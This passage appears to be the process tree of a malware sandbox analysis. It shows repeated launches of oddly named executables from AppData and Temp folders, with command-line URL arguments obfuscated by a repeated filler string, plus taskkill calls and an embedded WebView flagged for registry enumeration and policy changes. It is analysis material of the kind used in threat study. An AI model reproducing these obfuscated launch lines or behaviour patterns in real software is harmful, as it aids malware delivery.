ZV9jb21wbGV0ZT0iMCIvPjxwaW5nIHI9IjQ1IiByZD0iNTg5NSIgcGluZ19mcmVzaG5lc3M9Ins5RDRBRkRDMy1CNkVDLTQzOUQtODk5MS00OUY0N0E4QjZFRDV9Ii8-PC9hcHA-PGFwcCBhcHBpZD0iezU2RUIxOEY4LUIwMDgtNENCRC1CNkQyLThDOTdGRTdFOTA2Mn0iIHZlcnNpb249IjkyLjAuOTAyLjY3IiBuZXh0dmVyc2lvbj0iIiBsYW5nPSIiIGJyYW5kPSJJTkJYIiBjbGllbnQ9IiIgZXhwZXJpbWVudHM9ImNvbnNlbnQ9ZmFsc2UiIGxhc3RfbGF1bmNoX3RpbWU9IjEzMzI1MzQwMzM0Mjk0MDkxMCI-PHVwZGF0ZWNoZWNrLz48cGluZyBhY3RpdmU9IjEiIGE9Ii0xIiByPSI0NSIgYWQ9Ii0xIiByZD0iNTg5NSIgcGluZ19mcmVzaG5lc3M9IntDNEQ2NDdGMC03NTAwLTRCRTktOUVCQS01QUVFRkE5NzcyRjd9Ii8-PC9hcHA-PGFwcCBhcHBpZD0ie0YzMDE3MjI2LUZFMkEtNDI5NS04QkRGLTAwQzNBOUE3RTRDNX0iIHZlcnNpb249IjExMi4wLjE3MjIuMzQiIG5leHR2ZXJzaW9uPSIiIGxhbmc9IiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBleHBlcmltZW50cz0iY29uc2VudD1mYWxzZSIgaW5zdGFsbGFnZT0iMCIgaW5zdGFsbGRhdGU9IjU5MzYiIGxhc3RfbGF1bmNoX3RpbWU9IjEzMzI1MzQwMTU2NzA4MjQ4MCI-PHVwZGF0ZWNoZWNrLz48cGluZyBhY3RpdmU9IjEiIGE9Ii0xIiByPSItMSIgYWQ9Ii0xIiByZD0iLTEiIHBpbmdfZnJlc2huZXNzPSJ7RkM1MjhGQzAtNDJGRC00MjcxLUJCMTMtRDYwOEJGMURBMEIxfSIvPjwvYXBwPjwvcmVxdWVzdD4
2⤵
- Checks system information in the registry
PID:3996

C:\Program Files (x86)\Mcewan\brahms.exe
"C:\Program Files (x86)\Mcewan\brahms.exe"
1⤵
PID:3136

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:1604

C:\Users\Admin\AppData\Local\Temp\nscDBF9.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nscDBF9.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:1408

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:5264

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:4048

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3460

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:1688

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:6040

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:1108

C:\Users\Admin\AppData\Local\Temp\nsl3E1E.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsl3E1E.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:5544

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:4412

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2720

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3684

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3044

C:\Users\Admin\AppData\Local\Temp\nsoC639.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsoC639.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:2428

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2588

C:\Program Files (x86)\Mcewan\brahms.exe
"C:\Program Files (x86)\Mcewan\brahms.exe"
1⤵
PID:3448

C:\Program Files (x86)\Qa\Gittings.exe
"C:\Program Files (x86)\Qa\Gittings.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:772

C:\Users\Admin\AppData\Local\Recombining.exe
C:\Users\Admin\AppData\Local\Recombining.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4696

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:6080

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:1200

C:\Program Files (x86)\Blocks\Gittings.exe
"C:\Program Files (x86)\Blocks\Gittings.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5584

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:4800

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:6056

C:\Program Files (x86)\Blocks\Recombining.exe
"C:\Program Files (x86)\Blocks\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3812

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5412

C:\Program Files (x86)\Qa\streptococcal.exe
"C:\Program Files (x86)\Qa\streptococcal.exe"
1⤵
PID:5076

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Gittings.exe
2⤵
- Kills process with taskkill
PID:3324

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Recombining.exe
2⤵
- Kills process with taskkill
PID:1988

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5452

C:\Program Files (x86)\Qa\Gittings.exe
"C:\Program Files (x86)\Qa\Gittings.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4336

C:\Users\Admin\AppData\Local\Recombining.exe
C:\Users\Admin\AppData\Local\Recombining.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3644

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2388

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:1176

C:\Users\Admin\AppData\Local\Temp\nsd28CC.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsd28CC.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:4992

C:\Program Files (x86)\Blocks\Recombining.exe
"C:\Program Files (x86)\Blocks\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5684

C:\Program Files (x86)\Blocks\Gittings.exe
"C:\Program Files (x86)\Blocks\Gittings.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:1688

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:2452

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:1192

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4484

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3508

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4828

C:\Users\Admin\AppData\Local\Temp\nslB01C.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nslB01C.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
- Checks whether UAC is enabled
PID:8

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=0 --disable-features=MojoIpcz --mojo-named-platform-channel-pipe=8.1548.1747201040239426940
3⤵
- Checks computer location settings
- Checks system information in the registry
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- System policy modification
PID:5608

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=112.0.5615.49 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=112.0.1722.34 --initial-client-data=0x108,0x10c,0x110,0xd0,0x11c,0x7ffa1f023610,0x7ffa1f023620,0x7ffa1f023630
4⤵
PID:5756

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1952 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:2
4⤵
PID:4652

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=2004 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:3
4⤵
PID:5928

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --mojo-platform-channel-handle=2312 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:8
4⤵
PID:5272

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3404 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:1
4⤵
- Checks computer location settings
PID:4248

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=4368 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:1
4⤵
- Checks computer location settings
PID:3464

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=4544 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:1
4⤵
- Checks computer location settings
PID:5692

C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\112.0.1722.34\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\o7rl151\EBWebView" --webview-exe-name=Gittings.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=0 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3704 --field-trial-handle=1956,i,2347083677895340647,10089702235788764101,131072 --disable-features=MojoIpcz /prefetch:1
4⤵
- Checks computer location settings
PID:4344

